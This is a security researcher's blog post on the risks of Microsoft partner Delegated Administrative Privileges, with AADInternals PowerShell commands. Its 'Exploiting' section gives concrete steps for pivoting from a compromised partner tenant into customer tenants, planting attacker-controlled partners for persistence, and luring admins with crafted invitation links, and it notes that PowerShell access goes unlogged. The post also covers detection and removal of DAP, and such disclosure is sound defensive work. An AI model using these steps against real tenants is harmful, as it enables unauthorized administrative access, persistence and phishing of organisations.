Microsoft partners: The Good, The Bad, or The Ugly?

Microsoft partners: The Good, The Bad, or The Ugly?

In 2018, I blogged first time about risks related to Delegated Administrative Privileges (DAP) given to Microsoft partners. Now, in 2021, Microsoft blogged how NOBELIUM exploited DAP to compromise customers of some Microsoft partners.

In this blog, I’ll explain why DAP is so dangerous, how to exploit it, how to detect exploitation, and how to view partner related information with AADInternals v0.6.5.

Introduction

According to Microsoft documentation, partners has different types to choose from when working with their customers. In this blog, we are focusing on Delegated administrator partners.

Partner type Description
Reseller Partners that sell Microsoft products to your organization or school.
Delegated administrator Partners that manage products and services for your organization or school. In Azure Active Directory (AD), the partner is a Global Administrator for your tenant. This role lets them manage services like creating user accounts, assigning and managing licenses, and password resets.
Reseller & delegated administrator Partners that sell and manage Microsoft products and services to your organization or school.
Partner You give your partner a user account in your tenant, and they work with other Microsoft services on your behalf.
Advisor Partners can reset passwords and handle support incidents for you.
Microsoft Products & Services Agreement (MPSA) partner If you’ve worked with multiple partners through the MPSA program, you can allow them to see purchases made by each other.
Line-of-business (LOB) partner Partners can develop, submit, and manage LOB apps specific for your organization or school.

Delegated Administrative Privileges (DAP) is a way to “outsource” administrative tasks to a Microsoft partner you trust. DAP can be included in a “contract” between a partner and a customer, which the partner offers and the customer accepts:

Partners

After the partner’s contract offer (including DAP) is accepted by the customer, the partner has rights to administer customer’s tenant. By default, partner will have two roles: Global administrator and Helpdesk admistrator. These roles can be assigned to users of the Partner organisation in Partner’s tenant. In Partner center, these roles are called Admin agent and Heldesk agent:

Partners

The problem here is that you can’t limit partner users’ access to a certain tenant. That means that after assigning for example the Admin agent role to user of Partner tenant, that user has Global administrator access to all customers of the parter!

Note: Microsoft announced in November 2021 granular delegated admin priviliges (GDAP) coming out in early 2022, which should address these issues.

Partners

From the customer point-of-view, this is a huge problem as customers don’t have access to partner organisations. In practice, the customer doesn’t know how many Global administrators they have. For instance, in a figure above, the Customer C can have any number of Global administrators from Partner A and B tenants. This alone is violating many data-protection laws, including GDPR.

So, what’s the big deal with the DAP then? Well, instead of trying to breach multiple organisations, threat actors can focus on breaching one partner organisation. After that, threat actors has open doors to all customer tenants of the partner.

Accessing partner information

Let’s next see how the partner information and relationships can be viewed in Partner and Customer tenants.

Partners

Partners can access all partner information at the Microsoft Partner Center at https://partner.microsoft.com/dashboard/home

Partner account identifiers

Partners can manage and view their partner IDs and locations at https://partner.microsoft.com/en-us/dashboard/account/v3/organization/identity

Partners

For the reasons unknown, this information (and all seen above) is available also for normal users, withouth admin permissions or rights to Microsoft Partner Center.

Note! This behaviour has been reported to Microsoft (and later publicly shared) earlier in 2021 by another individual.

Threat actors can’t use this information directly for attacks, but contains a lot of interesting intel for social engineering and phishing purposes..

To get the list of Partner locations with AADInternals:

# Get access token and save to cache
Get-AADIntAccessTokenForMSPartner -SaveToCache

# List the partner organisations
Get-AADIntMSPartnerOrganizations

id             : 9a0c7346-f305-4646-b3fb-772853f6b209
typeName       : Tenant
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID          : 8559543
companyName    : Partner Ltd
address        : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact        : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}

id             : 60a0020f-bd16-4f27-a23c-104644918834
typeName       : PartnerGlobal
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID          : 8559542
companyName    : Partner Ltd
address        : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact        : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}

id             : 297588a4-5c2a-430e-ae1e-b16c5d944a7d
typeName       : PartnerLocation
name           : Partner Ltd, US, PARTNERVILLE
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID          : 8559543
companyName    : Partner Ltd
address        : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact        : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}

Customer list

The most important information for threat actors would be to know the customers of the tenant. To view customers, the type of relationship, and links to administer their services, just browse to https://partner.microsoft.com/en-us/dashboard/commerce2/customers/list

Partners

To access Microsoft Partner Center, the user must have been given permissions to use it.

However, luckily, the good old MSOnline PowerShell module have provided the same information since the beginning of times - without any admin rights or permissions to Microsoft Partner Center! This is now included also in AADInternals.

To view partner’s customers with AADInternals:

# Get access token and save to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache 

# List the partner's customer organisations
Get-AADIntMSPartnerContracts

CustomerName     CustomerTenantId                     CustomerDefaultDomain   ContractType           
------------     ----------------                     ---------------------   ------------           
Company          dad33f16-69d1-4e32-880e-9c2d21aa3e59 company.com             SupportPartnerContract 
Contoso          936b7883-4746-4b89-8bc4-c8128795cd7f contoso.onmicrosoft.com ResellerPartnerContract
Adatum           17427dcd-8d61-4c23-9c68-d1f34975b420 adatum.com              SupportPartnerContract 

And voilà, there’s the list of organisations this partner can administer!

Customers

Customer’s admins can view the list of partners and remove their admin rights at https://admin.microsoft.com/Adminportal/Home?source=applauncher#/partners

Partners

Unfortunately, this information is not available for normal users.

To view partners with AADInternals:

# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache

# List the partners
Get-AADIntMSPartners

Identity         : b1f6d5cc-f1d3-41d9-b88c-1d177aaf171b
DisplayName      : Partner Ltd
Email            : pmanager@company.com
Website          : http://www.company.com
Phone            : +1234567890
Relationship     : Indirect Reseller and Admin
TypeDetail       : PartnerAdmin
CanDelete        : False
CanRemoveDap     : True
AllDataRetrieved : True

Exploiting

Let’s jump to the shoes of threat actor: How can we exploit all what we have learned?

Attacking partner’s customers

First thing is to get a foothold to a partner tenant. There are multiple techniques for this, such as phishing, brute-forcing, or on-prem attacks (Golden SAML).

At this point, any user account will do, as after getting the access, we can run AADInternals’ recon tool:

# Get accesstoken
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache

# Invoke the reconnaissance and save results to a variable
$results = Invoke-AADIntReconAsInsider
Output:

Tenant brand:                Company Ltd
Tenant name:                 company.onmicrosoft.com
Tenant id:                   6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Azure AD objects:            520/500000
Domains:                     6 (4 verified)
Non-admin users restricted?  True
Users can register apps?     True
Directory access restricted? False
Directory sync enabled?      true
CA policies:                 8
MS Partner IDs:              8559542,8559543
MS Partner DAP enabled?      True
MS Partner contracts:        3
MS Partners:                 1

This reveals that we have indeed accessed a partner organisation, having 3 customers. We can now list the customers:

# List the customers
$recon.partnerContracts

CustomerName     CustomerTenantId                     CustomerDefaultDomain   ContractType           
------------     ----------------                     ---------------------   ------------           
Company          dad33f16-69d1-4e32-880e-9c2d21aa3e59 company.com             SupportPartnerContract 
Contoso          936b7883-4746-4b89-8bc4-c8128795cd7f contoso.onmicrosoft.com ResellerPartnerContract
Adatum           17427dcd-8d61-4c23-9c68-d1f34975b420 adatum.com              SupportPartnerContract 

Next step is to list users who has Admin Agent or Helpdesk Agent roles:

# List users with Admin Agent role
$recon.partnerRoleInformation | where Name -eq "Admin Agent" | select -ExpandProperty Members
displayName      userPrincipalName                    
-----------      -----------------                    
Admin User      admin@company.onmicrosoft.com
Diego Siciliani DiegoS@contoso.com
Alex Wilber     AlexW@contoso.com

And now we have found the target users!

The next step is to sign-in to the Microsoft Partner Center as the target user, or use MSOnline PowerShell module:

# Connect to partner tenant
Connect-MsolService

# Use any MSOnline cmdlet with -TenantId parameter!
Get-MsolCompanyInformation -TenantId dad33f16-69d1-4e32-880e-9c2d21aa3e59

You can also use most of the AADInternals functions:

# Get access token for the customer's tenant
Get-AADIntAccessTokenForAADGraph -SaveToCache -Tenant dad33f16-69d1-4e32-880e-9c2d21aa3e59

# Show company information
Get-AADIntCompanyInformation

AllowAdHocSubscriptions                  : true
AllowEmailVerifiedUsers                  : true
AuthorizedServiceInstances               : AuthorizedServiceInstances
AuthorizedServices                       : 
City                                     : 
CompanyDeletionStartTime                 : 
CompanyTags                              : CompanyTags
CompanyType                              : CompanyTenant
CompassEnabled                           : 
Country                                  : 
CountryLetterCode                        : US
DapEnabled                               : 
DefaultUsageLocation                     : 
DirSyncAnchorAttribute                   : mS-DS-ConsistencyGuid
DirSyncApplicationType                   : 1651564e-7ce4-4d99-88be-0a65050d8dc3
DirSyncClientMachineName                 : SERVER
DirSyncClientVersion                     : 1.4.38.0
DirSyncServiceAccount                    : Sync_SERVER1_xxxxxxxxxxx@company.onmicrosoft.com
DirectorySynchronizationEnabled          : true
DirectorySynchronizationStatus           : Enabled
DisplayName                              : Company Ltd
InitialDomain                            : company.onmicrosoft.com
LastDirSyncTime                          : 2020-08-03T15:29:34Z
LastPasswordSyncTime                     : 2020-08-03T15:09:07Z
MarketingNotificationEmails              : 
MultipleDataLocationsForServicesEnabled  : 
ObjectId                                 : 527e940d-2526-483b-82a9-d5b6bf6cc165
PasswordSynchronizationEnabled           : true
PortalSettings                           : PortalSettings
PostalCode                               : 
PreferredLanguage                        : en
ReleaseTrack                             : FirstRelease
ReplicationScope                         : NA
RmsViralSignUpEnabled                    : true
SecurityComplianceNotificationEmails     : 
SecurityComplianceNotificationPhones     : 
SelfServePasswordResetEnabled            : true
ServiceInformation                       : ServiceInformation
ServiceInstanceInformation               : ServiceInstanceInformation
State                                    : 
Street                                   : 
SubscriptionProvisioningLimited          : false
TechnicalNotificationEmails              : TechnicalNotificationEmails
TelephoneNumber                          : 1324567890
UIExtensibilityUris                      : 
UsersPermissionToCreateGroupsEnabled     : true
UsersPermissionToCreateLOBAppsEnabled    : true
UsersPermissionToReadOtherUsersEnabled   : true
UsersPermissionToUserConsentToAppEnabled : true
WhenCreated                              : 2019-07-14T07:03:20Z

Adding a new partner to compromised organisation

One way to achieve persistent access to already compromised organisation is to add a partner tenant that is controlled by the threat actor.

With Global admin level access to compromised organisation, AADInternals can be used to easily add new partners. You just need to know any domain name or tenant id of the partner.

# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache

# Assign DAP for the given partner
Approve-AADIntMSPartnerDelegatedAdminRequest -Domain "partner.com"
responseCode message
------------ -------
success 

Compromising new customers

The example above requires Global administrator access to customer’s tenant. But what if we don’t have the needed access? The answer is to create a link for approving the partner offer and then lure target organisation administrator to accept that.

Again, all you need to know is any domain name or tenant id of the partner.

# Create the delegated admin request for the given partner tenant
New-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation

Now the link can be sent to any target organisations 😊

Detecting

Partner accessing customer organisation

Microsoft Partner Center and API access

If the partner is accessing customers services from the Microsoft Partner Center, the login event will be shown in customer’s sign-ins (interactive) log:

Partners

As we can see, the user name is actually “ technician”, and the last part of IP address is redacted. When the event is expanded, we can also see the actual user name:

Partners

In partner’s tenant, we can see the same event with the same Request ID:

Partners

Some events are also seen in customer’s sign-ins (non-interactive) log:

Partners

PowerShell access

If the parter (or threat actor) is using MSOnline PowerShell module, sign-in events are not logged anywhere! This means that threat actor can, for instance, dump the whole content of customer’s Azure Active Directory without a fear of getting caught 🤦‍

However, all modifications are logged normally to customer’s Audit logs:

Partners

Adding new partners

Whenever a new partner is added to the organisation, there will be an event in the Audit Logs:

Partners

Preventing/mitigating

Partner accessing customer organisation

Microsoft announced in November 2021 a new more granular DAP called GDAP, which will allow partners to have more granular and time-bound access to their customers. Microsoft Threat Intelligence Center (MSTIC) recommends partners to move using GDAP:

We highly recommend moving away from the current DAP model (which gives admin agents standing or perpetual global admin access) to a fine-grained delegated access model. The fine-grained delegated access model reduces the security risk to customers, and the impact on them as well. It also gives you control and flexibility to restrict access per customer at the workload level of your employees who are managing your customers’ services and environments.

While GDAP will reduce risk, it doesn’t remove it completely. The only way to prevent this is to get rid off all DAP permissions - which I urge everyone to do immediately!

But what does this mean in practice? According to Microsoft documentation:

You can remove admin roles from a partner at any time. Removing the admin roles doesn’t remove the partner relationship. They can still work with you in a different capacity, such as a Reseller. If you decide that you don’t want to work with a partner anymore, contact your partner to end the relationship.

This means that you can safely remove DAP roles, it has no effect on other type of relationships. However, as pointed by Petr Vlk (@Kazzan), DAP is required by Microsoft Office 365 Lighthouse, an admin portal for Managed Service Providers (MSPs) for managing at scale multiple SMB organisations.

My standpoint is always the security of customers, which overrules the business benefits of partners. Therefore, the correct (secure) way to give partners access to your tenant is to create them accounts that you manage.

Customer’s Global administrators can remove DAP at https://admin.microsoft.com/Adminportal/Home?source=applauncher#/partners: Partners

Partners

Partners

To remove DAP with AADInternals as customer’s Global administrator:

# Get access tokens and save to cache
Get-AADIntAccessTokenForMSPartner -SaveToCache
Get-AADIntAccessTokenForAdmin -SaveToCache

# Remove DAP from all partners
Get-AADIntMSPartners | %{Remove-AADIntMSPartnerDelegatedAdminRoles -TenantId $_.Identity}

responseCode message
------------ -------
success 
success 
success 

Adding new partners

Only way to prevent this is to minimise the number or Global administrators, and/or allowing them to access Azure AD only from Pivileged Access Workstations (PAWs).

Summary

Delegated Administrative Privileges (DAP) are dangerous and out-dated way to give administrator access to your tenant for your partners or service providers.

Threat actors are targeting partner organisations as compromising a single partner tenant gives them access to all partner’s customers too.

I suggest all admins to remove all DAP permissions to secure their tenants. Removing DAP doesn’t remove the partner relationship, so it doesn’t affect any licensing contracts you may have. This does, however, remove all partner access via PowerShell and APIs, including Microsoft 365 Lighthouse.

If you need to give admin access to your partners, create a dedicated accounts for each partner (and user) to your tenant so that you can manage the accounts.

References

Dr Nestori Syynimaa (@DrAzureAD) avatar
About Dr Nestori Syynimaa (@DrAzureAD)
Dr Syynimaa works as Senior Principal Information Security Researcher at Secureworks CTU (Counter Threat Unit).
Before moving to his current position, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Azure AD security.

Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified Azure Solutions Architect Expert, Microsoft Certified Trainer, Microsoft MVP (Enterprise Mobility, Identity and Access & Intune), and Microsoft Most Valuable Security Researcher (MVR).
comments powered by Disqus